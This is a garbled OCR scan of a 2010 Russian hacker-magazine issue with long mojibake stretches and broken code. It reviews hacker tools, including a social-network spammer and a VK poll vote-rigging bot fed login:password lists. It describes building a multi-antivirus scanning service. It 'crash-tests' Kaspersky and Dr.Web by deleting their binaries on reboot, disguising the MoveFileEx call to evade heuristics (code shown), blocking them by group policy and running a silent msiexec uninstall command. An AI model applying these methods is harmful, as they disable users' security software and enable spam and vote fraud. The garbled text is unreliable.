ВЗЛОММаг icq 884888X-TOOLSПРОГРАММЫ ДЛЯ ХАКЕРОВПрограмма: ATC File WiperОС:Windows 2000/XP/2003 Server/Vista/2008 Server/7Автор: AlexTheC0d3rИнтерфейс вайпераПредставь, что тебе нужно полностью удалитькакую-либо информацию с компьютера. Причемудалить так, чтобы никакими техническимисредствами ее уже нельзя было восстановит ь.Такой трюк можно проделать с помощью многократной перезаписи файлов случайнымизначениями, для чего и были придуманы спе циаль ные программы — вайперы. Один из самыхфункциональных вайперов сегодня представленна страницах нашей рубрики.Итак, ATC File Wiper от мембера АнтичатаAlexTheC0d3r'а предлагает тебе два режимаработы: GUI и консоль.Функционал программы следующий:• Возможность сохранить список папок в файл (впапку с программой);• Возможность добавления папки, указанной всписке папок, кнопкой «


Граббер сайтовНакрутчик опросов ВКонтактезуются регулярные выражения, аналогичныетем, которые применяются в PHP:Email: [_a-zA-Z\d\-\.]+@[_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+URL: (?i)href=("|#39|)(http://|https://|ftp://|www.|UPD://)([_az\d\-]+(\.[_a-z\d\-]+)+)((/[_az\d\-\\\.?=&%://]+)+)*JS: ]*?)>(.*?)Основной функционал программы:• Извлечение email-адресов;• Извлечение ссылок;• Извлечение JavaScript;• Извлечение описания страницы;• Извлечение кейвордов страницы;• Возможность создать свое правило регулярноговыражения;• Вывод исходника страницы.Любые предложения и пожелания направляйпрямиком ArxWolf'у в webxakep.net/forum/showthread.php?t=4850.Программа: SGalaxy v 0.7ОС: Windows 2000/XP/2003 Server/Vista/2008 Server/7Автор: RINGERДалее хочу познакомить тебя с несколькоспециализированной программой— спамером популярнейшей мобильнойсоциальной сети «Галактика знакомств»(javagala.ru).Спамер умеет спамить и флудить следующимобразом:• в приват;• комментариями в блог;• комментариями в фотоальбомы;• в журнал клана;• в приглашения клана;• в функции добавления друга;• в объявлениях о знакомства;• по email.Также имеются возможности совершать весьспам и флуд одновременно, отключать ивключать любые пользовательские опции ивыставлять задержку на посылаемые сообщения.С программой можно работать с помощьюследую щих команд:0 — îòïðàâêà ñîîáùåíèé î äîáàâëåíèè âäðóçüÿ ñ îäíîãî ïðîôèëÿ;1-5 — ïðîñòàÿ îòïðàâêà ñîîáùåíèé ñ1-5 ïðîôèëåé;XÀÊÅÐ 08 /139/ 10Спамер мобильной социалки911 — ïîñòó÷àòüñÿ ìîäåðàòîðó â àíêåòó;922 — ïðèãëàñèòü â êëàí;999 — ôëóä â æóðíàë êëàíà;933 — îñòàâèòü êîììåíòàðèé â áëîãå;111 — çàïîñòèòü îáúÿâëåíèÿ î çíàêîìñòâå;1000 — îòïðàâèòü êîììåíòàðèè ê ôîòîãðàôèè;222 — ñïàì íà email;40 — ñïàì â ïðèâàò ñ îäíîãî ïðîôèëÿáåç äîïîëíèòåëüíûõ äåéñòâèé;50 — ñïàì è ôëóä âî âñåõ äåéñòâèÿõ.Надеюсь, ты не слишком сильно надоешь админамГалактики :)Программа: VK VoTeRОС: Windows 2000/XP/2003 Server/Vista/2008 Server/7Автор: mailbrushА вот и еще одна крайне полезная утилита длятвоей любимой социальной сети — VK VoTeR —накрутчик опросов ВКонтакте от античатовцаmailbrush.Если ты принимаешь участие в опросе популярнойгруппы, но никак не можешь набратьнеобходимое количество голосов, то даннаяпрограмма поможет тебе в этом нелегкомделе. С помощью нее ты сможешь в несколькокликов накрутить голоса в указанномзапросе.Принцип работы проги прост:1. Указывай ссылку на опрос;2. Выбирай вариант ответа;3. Вставляй или загружай аккаунты ВКонтакте(свои, конечно же :)Далее каждый поток программы по очередибудет брать по одной паре "логин:пароль" изсоставленного тобой списка и авторизоватьсяпод ней.Затем под текущим аккаунтом накрутчиквступает в группу, в которой находится опрос, иголосует по указанному тобой варианту.Также опционально программа может отписатьсяв теме.Основные фичи программы:• Работа с проксями;• Возможность использовать макрос [OPTION]для указания значения варианта ответа;• Рандомизация сообщений, которые разделяютсяуказанным тобой сепаратором. Кпримеру, ты голосуешь за значение #8 в теме,а текст значения — «Борис Моисеев», значитв поле «Сообщения» ты должен указатьследующее:[OPTION] the best!|ß ãîëîñóþ çà[OPTION]|[OPTION] è òîëüêî îí!В ходе работы программа будет рандомно выбиратьмессагу из списка сообщений, которыеразделены знаком "|", а в тему будет отправленоодно из таких сообщений:Áîðèñ Ìîèñååâ the best!ß ãîëîñóþ çà Áîðèñ ÌîèñååâÁîðèñ Ìîèñååâ è òîëüêî îí!Как видишь, все до безобразия просто. Как всегда,любые отзывы и предложения направляйпрямиком автору в топик https://forum.antichat.ru/thread194387.html.Программа: slil.ru File UploaderОС:Windows 2000/XP/2003 Server/Vista/2008 Server/7Автор: sleshБыстрая закачка файлов в обменникЗавершает наш сегодняшний обзор удобнейшаяутилитка, которая позволит тебе очень быстро иудобно залить файл на обменник slil.ru.Пользоваться программой можно двумя разнымиспособами:1. Просто запускай и выбирай файл для закачки;2. Кидай ее в одну из директорий:2000, XP, 2003 — C:\Documents andSettings\\SendTo\Vista, 7 — C:\Users\\AppData\Roaming\Microsoft\Windows\SendTo\и выбирай любой файл, кликнув по нему правойкнопкой мыши. Далее в пункте «Отправить»выбирай «slil.ru».Характеристики проги:• Закачка одного любого файла за один раз;• Отображение прогрессбара;• Компактный дизайн и возможность скопироватьзагруженный файл сразу в буфер обмена;• Написан на Си (WinAPI + WinSock);• Чистый размер —7680 байт.Сам автор советует юзать второй способ длязакачки файлов в обменник. z073


MALWAREАртем «RankoR» Смирнов ax-soft.ruVirusTotalñâîèìè ðóêàìèÑîçäàåì ïóáëè÷íûé ñåðâèñ äëÿ ïðîâåðêè ôàéëàíåñêîëüêèìè àíòèâèðóñàìèНедавно я прочитал статью Криса Касперски, посвященную VirusTotal'у,и всерьез загорелся идеей созданием такого сервиса. Почему бы инет? Проблема малвари сейчас стоит довольно остро, а необходимостьпроверки одного, но весьма подозрительного файла появляется упользователей с завидным постоянством.МАТЕРИАЛЫ И МЕТОДЫИтак, что же нам нужно? Рассмотрим по пунктам.• Выделенный сервер. Не VDS, а именноDedicated. Я успел отхватить себе сервак с CoreDuo, 2 Гб RAM и безлимитным трафиком (10Мб/с) за $100 в месяц. Средние же расценкисейчас заметно выше :).074• Опыт работы с Linux — в качестве платформыя выбрал именно эту ОС, поскольку виндовый(особенно — высоконагруженный) серверкажется мне не очень хорошей идеей. Лично явыбрал Ubuntu Server 10.04.• Знание C++/Qt. Писать мы будем именно нанем, поскольку для линукса приплюснутый Сивполне логичен, а Qt я выбрал, потому что в неместь очень удобные классы для взаимодействияс процессами.• Знание PHP + AJAX. Ну а как иначе?• Умение верстать/рисовать, либо человек,который это сделает. Без хорошего дизайнасервис долго не проживет.XÀÊÅÐ 08 /139/ 10


Разбор вывода антивирусаРазработка PHP-части• Установочные пакеты антивирусов и дипломатическиенавыки для общения с антивирусными компаниями.ПЕРЕЙДЕМ К ПРАКТИКЕНабросаем небольшой план. Что должна делать нашасофтина? Она запускает консольный сканер антивируса,читает и парсит его stdout. Чтобы понять стиль поведенияантивируса, запустим его с параметром --help, внимательновкурим в результат, а затем скормим ему здоровыйи зараженный (поочередно, естественно) файлы исравним вывод антивируса. Как это будет реализовано всофте?Как тебе уже известно (если ты читал мою статью в майском][ ), в Qt есть очень полезный класс QProcess, которыйслужит для запуска внешних программ. Он умеет запускатьпрограмму, получать ее вывод и сообщать нам о завершениипрограммы. Но нам этого недостаточно, поэтому мы немногодопишем класс. Что будет в новом классе? Он долженсобирать выведенный в консоль текст по мере его поступленияи генерировать сигнал с этим самым выводом и именемпроцесса при его завершении. Сказано — сделано:class QAvProcess : public QProcess {void inline startProcess(const QString &name,const QStringList &params);......signals:void onAvFinished(QAvProcess *sender,};const QString &av,QString &output,const int exitCode);private slots:void onFinished(int exitCode,QProcess::ExitStatus exitStatus);void onReadyRead();Как видишь, класс наследуется от QProcess. Рассмотримметоды и слоты этого класса:void QAvProcess::startProcess(const QString &name,const QStringList &params){QFileInfo info(name);avName = info.fileName();start(name, params);}Как нетрудно догадаться, этот метод служит для запуска программыи сохранения имени процесса перед запуском. Код,заключенный в слот onReadyRead, просто аппендит прочитанныйвывод к уже имеющемуся, а слот onFinished()генерирует сигнал emit onAvFinished(this, avName,avBuffer, exitCode). Все тривиально, поэтому я предлагаюдвигаться дальше, к главному классу:WARNINGwarningНе используйнелицензионныеверсии антивирусовв своем сервисе и нехостись в России.INFOРазберем код по порядку. За запуск антивирусов у нас отвеinfoRESPECTГруппе И-3-1(ПрикладнаяМатематика) МГТУ«Станкин».DieHard, YaesU, metalAsechka.Ru communityНаш сервис в работеclass QAv : public QObject{void startCheck(const QString &fName);private:QMap avs;QList results;QString fileName;inline QAvProcess* createProcess();QVirInfo inline parseOutput(const QString &avName,const QString &output);signals:void onAVDone(const QString avName,const QString avResult);private slots:void onAvFinished(QAvProcess *sender,const QString &av,const QString &output,const int exitCode);};XÀÊÅÐ 08 /139/ 10 075


MALWARE«Слот» onAvFinished()QString avName = avs.find(av).value();if ( avName.isEmpty() ){qDebug()


Реклама


MALWAREdeeonis deeonis@gmail.comÝÊÑÊËÞÇÈÂÍÛÉÑÏÎÑÎÁ ÂÛÍÎÑÀÊÀÑÏÅÐÑÊÎÃÎINSIDEÊðàø-òåñòîòå÷åñòâåííûõàíòèâèðóñîâÑóðîâàÿ ïðîâåðêà ãðàíäîâ AV-èíäóñòðèè:ïîáåäèâøèõ íåò!Как обычно тестируют антивирусы? Прогоняют их на специальнозаготовленных зловредах, пытаются всячески обойти эвристику,выбраться из песочницы... Таких тестов полно в Сети, но в этот раз всебудет иначе. Мы будем проводить краш-тесты. Мы будем грубо ломатьи выводить из строя самые крутые аверские поделки и в итоге узнаем,кто из них оказался самым крепким.Сегодняшнее тестирование будут проходитьдве антивирусные программы. Первыйиспытуемый — Kaspersky CRYSTAL. ЭтоПО разрабатывалось специально для комплекснойзащиты пользовательского компьютера.В Кристале, помимо классическогосканера и резидентного проактивногомодуля, есть также средства родительскогоконтроля, шифрование данных, менеджерпаролей, которые для нас особой ценности078сегодня не представляют. Вторым кандидатомна уничтожение будет Dr.Web SecuritySpace Pro. Его функционал чуть беднее. Нетменеджера паролей, виртуальной клавиатурыи прочих полезных и не очень фич.Антивирус предназначен для комплексногопротиводействия интернет-угрозам в сочетаниис дополнительной защитой от сетевыхатак благодаря встроенному брендмауэру.Оба антивируса очень популярны в России,а Kaspersky еще и входит в мировую пятеркусамых продаваемых программ для защитыот зловредов.ПРИНЦИП ТЕСТИРОВАНИЯДля проверки антивирусов на прочность мыразработали пять собственных тестов. Некоторыетесты представляют собой специальнонаписанные программы, другие можновыполнить вручную с помощью стандартныхXÀÊÅÐ 08 /139/ 10


Кристалл запустился. Полет нормальный!Тайная деинсталляция закончилась обломомПотенциально опасная программа. Действительно,есть у нее такой недостаток.инструментов Windows. Кстати, все испытания проводятсяв Windows XP Professional SP3.За прохождение каждого теста будет выставлятьсяоценка по пятибальной системе — совсем как в школе.Единицы, конечно, мы никому ставить не будем, но изавышать баллы за способность к выживанию — не внаших правилах. В конце мы подсчитаем среднеарифметическоевсех оценок и посмотрим, кто оказалсясамым стойким.Теперь немного о самих тестах. Так как мы тут проводимне абы что, а краш-тестирование, то и испытания у насбудут соответствующие. Основная их цель — вывестииз строя антивирусное ПО как можно незаметнее дляпользователя. Если в результате выполнения того илииного теста защитные функции наших кандидатов«на уничтожение» перестали работать, то антивирьполучает жирную двойку. В противном случае мы будемсмотреть, как ПО справилось с проблемой. Если передсмертью ему удалось выдать какое-нибудь сообщение— начисляем трояк. Как уже было сказано выше,краш-тестов будет всего пять. Первый тест будет тупопытаться удалить самые важные бинарные файлы дистрибутиваантивируса. Но не просто удалить, а удалитьпри загрузке ОС с помощью специальной API-функции.Второй будет делать то же самое, но при этом еще ихитро шифровать имя удаляемого файла, чтобы антивирьне догадался, что его хотят стереть с практическисобственного жесткого диска. Третий тест, опять же,удаляет жизненно важные файлы, но при этом скрываетэто, маскируя вызов смертоносной API-функции подсовершенно безобидный код.Четвертое и пятое испытание стоят особняком, посколькубудут выполняться с помощью стандартныхсредств ОС Windows — никаких специальных утилитмы писать не будем. Разумеется, при желании всеэто можно реализовать и программно. Итак, один изтестов будет запрещать запуск антивируса посредствомполитик безопасности, а второй попробует деинсталлироватьПО без лишнего шума и пыли.Итак, когда мы немного разобрались с тем, что будемделать, приступим непосредственно к краш-тестам.ТЕСТ №1Первый тест будет производиться с помощью специальнонаписанной утилиты. В командной строке мы передадимей полное имя файла, который хотим удалить приследующей загрузке ОС. Программа вызовет системнуюфункцию MoveFileEx, которая может перемещатьфайлы и папки. Первый ее параметр — это полное имяперемещаемого файла, второй — куда будем перемещать,а третий — флаг, который задает некоторые опцииперемещения. Если второй параметр оставить пустым,то есть передать NULL вместо строки с новым местомхранения, а в качестве флага установить значениеMOVEFILE_DELAY_UNTIL_REBOOT, то нужный нам файлбудет удален во время загрузки ОС.Все просто. Всего одна функция, и никакого хитроумногокода. Такую утилитку может написать даже учениксредней школы. Теперь проверим, как она подействуетна наши антивирусы. Первым по списку идет KasperskyCRYSTAL. Если посмотреть в менеджер процессов,то мы увидим, что Каспер два раза запустил avp.exe.Одна копия запущена с системными привилегиями, аWARNINGwarningНе используйнелицензионныеверсии антивирусовв своем сервисе и нехостись в России.INFOinfoRESPECTГруппе И-3-1(ПрикладнаяМатематика) МГТУ«Станкин».DieHard, YaesU, metalAsechka.Ru communityXÀÊÅÐ 08 /139/ 10 079


MALWAREÒÐÞÊ Ñ ÊËÞ×ÎÌ ØÈÔÐÎÂÀÍÈßДля шифрования пути к файлу во втором тесте и маскировки передачифлага MOVEFILE_DELAY_UNTIL_REBOOT функции MoveFileEx втретьем использовался специальный трюк, который позволяет обойтиэвристические анализаторы антивирусного ПО. Если мы сохранимключ для расшифровки некой строки в памяти программы напрямую (ввиде константы или передаваемого значения), то анализаторы кода смогутотследить всю цепочку использования этого ключа и в конце получитьисходную информацию в раскриптованном виде.Но ключ можно сформировать из двух частей: базовая и псевдослучайнаячасти. Базовая часть — это просто число, которое хранится впамяти. Весь фокус в псевдослучайной части. Ее надо сгенерироватьтак, чтобы эвристическая машина не смогла проанализировать кодгенерации. Сделать это можно, вызвав некоторую системную функциюс такими параметрами, которые приведут к однозначному результату:DWORD pseudoRandomDigit(const DWORD digit){fopen("dsjklfjsdlk", "r");DWORD err = ::GetLastError();}вторая — с правами активного в данный момент пользователя. Удалятьбудем именно этот файл, который по умолчанию лежит в папке«%programfiles%\Kaspersky Lab\Kaspersky CRYSTAL\». Запускаемутилиту, передав ей в качестве одного из параметров полное имяэкзешника и … Кристал начал ругаться на нашу тестовую утилиту,определив ее рейтинг опасности как «высокий». Если бы это былреальный зловред, то пользователю пришлось бы решать, разрешитьподозрительной программе выполниться или нет. Если все-таки датьсвободу нашей утилите, то после ребута системы антивирус не запускается.Программа сделала свое дело и удалила главный бинарникКасперского. В случае запрета выполнения подозрительной тулзывсе будет хорошо — avp.exe останется на своем месте и по-прежнемубудет радовать пользователей красивой иконкой в трее.Итак, Kaspersky CRYSTAL прошел первое испытание, но, к сожалению,всего лишь на троечку. Очень часто пользователи жмут накнопку «Да» не читая, что там пишут.Следующее защитное ПО — Dr.Web Security Space Pro. В отличие отCRYSTAL, Доктор Веб состоит из множества исполняемых exe-файлов,каждый из которых ответственен за свою функцию. Но удалитьмы попробуем самый главный бинарь, который, как и в Касперском,запускается от имени системы — dwengine.exe. Тестоваяутилита удаления отработала без проблем, Доктор даже не пискнул.Но посмотрим, что будет после перезагрузки. А после нее всеосталось на своих местах — анитвирус как новенький! Ну что же,попробуем стереть какой-нибудь другой важный файл, например,утилиту обновления или базы с сигнатурами. После несколькихзапусков смертоносного кода и перезагрузки компьютера Докторостается жив, и поэтому получает за первое испытание твердуюпятерку. Никакого шума, никаких вопросов к пользователю. Простоне удаляется :).080return digit + err;Функции pseudoRandomDigit передается базовая часть ключа. Послеэтого мы пытаемся открыть несуществующий файл, в результате чегополучим вполне определенный код ошибки. Прибавляя этот код кбазовой части ключа, мы лишаем эвристические анализаторы всякойнадежды понять, что же все-таки произошло. В результате чего антивирусне может расшифровать строку, а, следовательно, и предъявитькакие-либо претензии.ТЕСТ №2Второй краш-тест очень похож на первый, но с одним единственнымотличием — путь к удаляемому файлу мы передаем в зашифрованномвиде. Процедура шифрования тоже не совсем простая. Мыиспользуем специальный трюк, чтобы обмануть эвристики нашихантивирусов. Подробнее об этом можно почитать во врезке. А покапосмотрим, как справятся с этим испытанием Касперский и ДокторВеб.Первый в очереди — Kaspersky CRYSTAL. Предварительно зашифровавпуть к avp.exe, мы передаем его нашей утилите. РеакцияКристала на второй тест полностью совпадает с реакцией на первый.Антивирус предложил выбрать, что делать с подозрительнойпрограммой. В случае, если мы разрешаем ее выполнение, послеперезагрузки Kaspersky не загрузится. Итог: второе испытаниеКаспер тоже проходит на тройку.Ситуация с Dr.Web полностью идентична предыдущей. Все попыткиудалить какие-либо файлы, требуемые для его работы, потерпелинеудачу. Не удалялся даже банальный license.txt! За такую стойкостьДоктор Веб получает пять.ТЕСТ №3Третье испытание также будет удалять нужные для антивирусногоПО файлы, но при этом будет маскировать сам факт попытки удаления.Как говорилось выше, для того, чтобы стереть файл при загрузкеОС, нужно функции MoveFileEx в качестве одного из параметровпередать флаг MOVEFILE_DELAY_UNTIL_REBOOT. Именно этот флагмы и замаскируем под нечто безобидное, что позволит усыпитьбдительность эвристики (см. врезку).На запуск теста с маскировкой удаления Kaspersky CRYSTAL никакне прореагировал. Сообщение, в котором бы говорилось об опаснойпрограмме, не появилось. Может быть, Кристал блокирует этуугрозу втихаря? Перезагружаем, и... нет. Касперский провалил этоттест. ПО не запустилось, avp.exe исчез с жесткого диска без какихлибоследов. Маскировка удаления файлов принесла свои плоды.Анализатор кода CRYSTAL не смог распознать угрозу и поплатилсяза это. Результат: двойка и ничего, кроме двойки. А что же с Dr.Web?Провалит ли он, наконец, хоть одно испытание? Как оказалось, нет.Доктор тверд, как скала. Никакие хитрые попытки удалить важныефайлы его не берут. А все из-за того, что доступ ко всем нужным иненужным бинарникам из дистрибутива Веба был заблокированна уровне файловой системы. Такой подход решил все проблемы свандализмом. Просто так поменять эти права у нас не получится,все гайки закручены очень крепко. Заслуженная пятерка.ТЕСТ №4Следующий тест мы будем проводить с помощью стандартныхинструментов Windows XP Professional. В главном меню системывыберем пункт «Выполнить...» и впишем туда следующее: gpedit.msc. Откроется консоль с групповыми политиками. Там выберем«User Configuration», затем «Administrative Templates», «System».Справа найдем «Don't run specified Windows applications». Эта опцияпозволяет запретить запуск определенных программ на основеих имени.Для Касперского мы будем блокировать avp.exe. Прописав запретна его запуск в политиках Windows, мы перезагружаем компьютери смотрим на результат. После старта системы Kaspersky CRYSTALработает, как ни в чем не бывало. Запустился не только сервис справами системы, но и процесс с привилегиями текущего пользователя.Похоже, это первая пятерка у Каспера. Поздравляем!С Dr.Web ситуация чуть хуже. Блокирование запуска dwengine.exe никак не повлияло на работу Доктора, а вот если прописатьв политиках имя сканера, то он не запустится. Таким же образомпарализуется работа SpIDer Guard. Никакие сообщения при запускекакого-нибудь зловреда пользователю показаны не будут. Но стоитотметить, что защитные функции антивирус потерял не полностью.XÀÊÅÐ 08 /139/ 10


Зачем и почему нужно вводить капчу иотключать самозащиту — неясно. Прощесогласиться :)Он выполнит действия, заложенные в настройках поумолчанию, например, бережно перенесет вирус в карантин,но пользователь об этом, к сожалению, ничегоне узнает. Доктор Веб получает четверку.ТЕСТ №5В пятом и последнем испытании мы попытаемся полностьюудалить защитное ПО с помощью штатного инсталлятора.Но удалить так, чтобы пользователь ничегоне заметил. Практически у всех современных инструментовдля развертывания приложений в системе естьтак называемый «тихий режим», когда пользователюне задается никаких лишних вопросов. Вот с помощьюэтого режима мы будем тестировать антивирусы.Для «невидимой» деинсталляции Kaspersky CRYSTALнужно выполнить следующую команду: msiexec /quiet /uninstall {1A59064A-12A9-469F-99F6-04BF118DBCFF}.Ключ /quiet означает, что пользователь не увидит ниодного окна, касающегося процесса анинсталла. Идентификаторв фигурных скобках уникален для установленногодистрибутива Кристал. После выполнения этойкоманды Касперский не выдает никаких сообщений,касающихся попытки его удаления, но и сама деинсталляциякак таковая завершается неудачей. Касперсправился с испытанием — без лишнего шума он пресекпопытку несанкционированного удаления. Втораяпятерка.Для тестирования Dr.Web была выполнена та же команда,с той лишь разницей, что был заменен идентификатордистрибутива. Через некоторое время после запускаmsiexec с нужными параметрами на экране появилсядиалог с предложением отключить модуль самозащитыи ввести капчу. В случае правильного набора цифровогокода Доктор исчезнет с компьютера пользователяСканер работает. Все чисто.навсегда. То, что Доктор Веб спросил разрешения оботключении самозащиты — это хорошо, но плохо, чтоон не сообщил нам причины, по которой самозащитаотключается. Неопытный юзер может подумать, что такнужно, и с чистой совестью ввести капчу. В итоге Dr.Webполучает тройку, поскольку непонятные окошки с непонятнымтекстом — дурной тон.ИТОГИНа этом все. Пять ужасных испытаний пройдены.Некоторые хуже, некоторые лучше. Но ни KasperskyCRYSTAL, ни Dr.Web Security Space Pro не смогли сдатьвсе тесты на отлично. Для большей наглядности можнопосмотреть в таблицу с оценками и вспомнить, как этобыло.zKASPERSKY CRYSTAL VS DR.WEBSECURITY SPACE PROИтоги: Доктор Веб оказался устойчивей ко всяким деструктивным выпадам в егосторону. Он хорошо защитил свои файлы на уровне ФС и смог противостоять жестокимполитикам безопасности Windows. А его модуль самозащиты не позволитзлоумышленникам тихо и незаметно удалить антивирус.Касперский справился чуть хуже. Главной проблемой для него стал замаскированныйвызов MoveFileEx с флагом MOVEFILE_DELAY_UNTIL_REBOOT. Итоговаяоценка за краш-тестирование: Kaspersky CRYSTAL — 3.6 балла, Dr.Web SecuritySpace Pro — 4.4 балла.Òåñò ¹1Òåñò ¹2Òåñò ¹3Òåñò ¹4Òåñò ¹5Ñðåäíèé áàëëKASPERSKY CRYSTAL332553.6DR.WEB SECURITY SPACE PRO555434.4XÀÊÅÐ 08 /139/ 10081


СЦЕНАМария «Mifrill» Нефедова mifrill@real.xakep.ruÌÈÃÐÀÖÈÈ IT-ØÍÈÊÎÂÑÐÅÄÍÅÉ ÏÎËÎÑÛÃÄÅ È ÊÀÊ ÆÈÂÓÒ ÍÀØÈ ÇÀ ÃÐÀÍÈÖÅÉÕÎÐÎØÎ ÒÀÌ, ÃÄÅ ÍÀÑ ÍÅÒЭту статью вполне можно было бы начать с пространныхрассуждений о том, что в России имеетместо проблема утечки мозгов. К сожалению,наша с тобой сегодняшняя реальность такова,что молодые и талантливые специалисты всечаще бегут за рубеж в поисках лучшей жизни.И можно было бы долго растекаться по древу,перебирая причины, приведшие к такомупечальному положению вещей, ища виноватыхи так далее, но давай признаем — все это былобы не слишком-то интересно, да и чтиво, в целом,получилось бы грустное, если не сказать, депрессивное.Поэтому мы и решили зайти с другойстороны, оставив поиски ответов на извечныевопросы «кто виноват?» и «что делать?» другим.Как известно, самой достоверной и интереснойвсегда является информация, полученная изпервых рук, так что мы напрямую пообщались смолодыми и не очень IT-специа листами, которыеперебрались из России в самые разные уголкимира. Ребята поведали нам, почему они уехалииз РФ, рассказали, насколько сложно им было, ис какими подводными камнями пришлось столкнуться.Плюс к этому, мы покурили форумы, блогии прочие полезные ресурсы, в итоге собрав длятебя кучу самой разной информации. На выходеполучился, конечно, не то чтобы мануал из серии«how to», ведь двух одинаковых путей в эмиграциине бывает, и воспользоваться чужим опытомудается далеко не всегда. Но все же эта статьяпоможет тебе понять, с какой стороны вообщеподходить к вопросу переезда в другую страну, атакже даст некоторое представление о том, какживется российскому IT-шнику за рубежом. Ну, аесли переезд за границу не входит в твои планы,то можешь отнестись к нижеизложенному как кочередной передаче телеканала Discovery :).ÊÀÊ ÈÑÊÀÒÜ ÐÀÁÎÒÓ ÇÀ ÐÓÁÅÆÎÌ?Пожалуй, это самый животрепещущий вопросдля каждого желающего «понаехать»: где и какискать работу за пределами РФ? Вариантов сотни,и универсальных рецептов здесь нет, многоезависит от образования, специализации, опытаработы, знания языков и так далее. Опять же,одно дело, когда в твоем распоряжении имеютсяполезные зацепки и связи, и совсем другое, еслиих нет. Итак, представим, что их нет — в такомслучае клавиатуру тебе в зубы, и вперед — в Сеть.Начинать поиски, конечно, стоит с сайтов вакансий,притом как зарубежных, так и русскоязычных(на крупных ресурсах типа hh.ru публикуетсянемало серьезных предложений по части работыза границей).Плюс, раз уж ты решил вплотную занятьсяпоисками работы, значит, к этому моменту тынаверняка уже определился со списком странкандидатов,куда хотелось бы эмигрировать. Изэтого тоже можно извлечь определенную выгоду:скажем, ты мечтаешь уехать в Австралию; значит,покопайся в инете и постарайся найти комьюнитирусскоязычных «понаехавших» в страну кенгуру.В таком месте можно не только получить информациюиз первых рук и узнать множество важныхдеталей, но и вполне вероятно, что там уже нераз обсуждались темы поиска работы, получениярабочей визы, вида на жительство и так далее.Словом, не забывай, что практически любая информациянаходится на расстоянии пары кликов,и нужно просто не лениться ее искать.Кстати, вопросы эмиграции, поиска работы,оформления бумаг и иже с ними очень частоподнимаются на крупных туристических порталах,вроде форума Винского (http://forum.awd.ru/), так что для общего развития туда тоже стоитзаглянуть.Ну и, конечно, не стоит забывать о кадровыхагентствах, хотя это палка о двух концах, и каждыйрешает сам, стоит ли с ними связываться. «Почему?»— спросишь ты. Позволь в ответ процитироватьтебе мнение Криса Касперски, который наработе за границей съел собаку:«Связываться с кадровыми агентствами я личноне рекомендую. Дело в том, что они рассчитанына поток, то есть берутся за самые легкиеварианты, а остальным частенько отказывают.Плюс, очень много в этой среде кидалова, так чтоу многих работодателей доверия к агенствам тоженет. Ну, это как службы знакомств :).А самый простой способ поиска работы — действоватьчерез сайты самих фирм. На каждомсайте уважающей себя компании, вне зависимостиот ее размера, есть раздел «карьера». Идаже если подходящих тебе позиций там нет,возможно, написать им все равно стоит, ведь подхороших людей вакансии открываются по мерепоступления».Крис дает очень дельный совет: помимо «работных»сайтов, действительно, стоит обратитьвнимание и на разделы вакансий на сайтахIT-компаний.Главное, помни — перед тем, как начинатьвсюду рассылать свое резюме, убедись, что оноправильно составлено. Это настоящая наука, ипринятые у нас форматы резюме существенноотличаются от зарубежных. Так что в этом вопросе,возможно, как раз стоит прибегнуть к помощипрофессионалов и заплатить им денег, чтобы074 082 XÀÊÅÐ 08 /139/ 10


ÔÓÒÓÐÈÑÒÈ×ÍÛÉ ÑÈÍÃÀÏÓÐÏÎ×ÅÌÓ ÎÍÈ ÓÅÇÆÀÞÒ?ÑÀÌÛÉ ÏÅÐÂÛÉ ÂÎÏÐÎÑ, ÊÎÒÎÐÛÉ ÎÁÛ×ÍÎ ÇÀÄÀÞÒ ÂÑÅÌ ÝÌÈÃÐÀÍÒÀÌ: «×ÒÎÏÎÁÓÄÈËÎ ÂÀÑ ÏÎÊÈÍÓÒÜ ÐÎÄÍÓÞ ÑÒÐÀÍÓ?». ÂÎÒ ×ÒÎ ÍÀ ÝÒÎ ÎÒÂÅ×ÀÞÒ ÝÌÈÃ-ÐÈÐÎÂÀÂØÈÅ ÇÀ ÃÐÀÍÈÖÓ ÀÉÒÈØÍÈÊÈ:• В поисках лучшей зарплаты и карьерного роста не хотелось перебираться из регионовв «нерезиновые» Москву или Питер, поэтому выбор пал на «заграницу».• В России вообще нет достойной работы в IT-сфере.• Имея возможность перебраться в страну с лучшим уровнем жизни и заниматься таминтересным, перспективным делом, грех ею не воспользоваться. А такого рода возможность,теоретически, есть у любого хорошего специалиста.• Хотелось посмотреть мир и показать себя.• Вдохновил пример знакомых/друзей.• Поступило заманчивое предложение из крупной IT-компании.Были, конечно, и другие варианты ответов. Например, кто-то искал лучшей жизни истабильности для себя и семьи, а кто-то и вовсе, случайно столкнувшись с достаточномолодым для России явлением дауншифтинга, решил попытать счастья (в основномэто касается аутсорсеров, живущих в странах Азии).потом не пришлось удивляться: «Почему мнеприходит так мало откликов?!».ÀÇÈß È ÀÓÒÑÎÐÑÅÐÛНачнем, пожалуй, с самой большой части света,которая пользуется огромной популярностьюу эмигрантов вообще и у нашего IT-шногобрата в частности — с Азии.XÀÊÅÐ 08 /139/ 10Азиатские страны вовсе не случайно так привлекаютискателей лучшей жизни; дело в том,что после «снежной России» народ зачастуюстремится к теплу, и в итоге выбор многих людейостанавливается на Таиланде, Индии, Израиле,Малайзии и так далее. Опять же, получить визув некоторые азиатские страны не в пример проще,чем в страны Европы или Северной Америки,а впоследствии там проще остаться совсем.Ну, а помимо климата и отсутствия проблемс бумагами, еще одним бесспорным плюсомстановится дешевизна, которая заметна почтиво всем, начиная от цен на жилье и заканчиваяедой. Цены в некоторых уголках этой частисвета вполне могут ввергнуть москвича илипетербуржца в некоторый ступор.Чтобы не быть голословными, приведемпример. У нашего коллеги, редактора журналаHard’n’Soft Евгения Петрова, имеется опытпроживания и работы в Индии, и вот что он намповедал:«Все эти штампы «о самой грязной странемира» и «рассаднике заразы» не имеют ничегообщего с действительностью (ну если, конечно,селиться не в полных трущобах). Мы — типичнаягородская семья, привыкшая к некоторомуминимальному комфорту, поэтому не собиралисьуезжать «хоть куда-нибудь».С финансовой точки зрения нас подкреплялоналичие сдаваемой в аренду московскойтрешки и дистанционная работа на Hard’n’Soft.Мы договорились с редакцией журнала, что ямогу перейти на полностью удаленную работу.В период кризиса это был замечательныйкомпромисс для обеих сторон :).Итак, 28 октября 2009 года мы приземлились вгороде Тхируванантхапурам (или проще — Тривандрум)— столице штата Керала. Это почтина самом юге Индии. Оттуда еще 40 км вверх до083


